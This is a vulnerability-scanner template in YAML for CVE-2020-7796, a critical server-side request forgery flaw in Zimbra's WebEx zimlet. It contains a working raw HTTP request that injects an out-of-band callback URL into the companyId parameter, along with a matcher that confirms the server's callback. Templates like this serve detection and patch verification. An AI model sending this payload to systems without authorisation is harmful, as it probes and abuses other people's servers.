id: CVE-2020-7796

info:
  name: "Zimbra Collaboration - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Zimbra Collaboration Suite (ZCS) before 8.8.15 Patch 7 allows SSRF when WebEx zimlet is installed and zimlet
    JSP is enabled.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2020-7796&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7796
    cwe-id: CWE-918
  metadata:
    verified: false
  tags: cve,cve2020,zimbra,ssrf,oast,synacor,vkev,vuln,kev
http:
  - raw:
      - |
        GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://{{interactsh-url}}%23 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"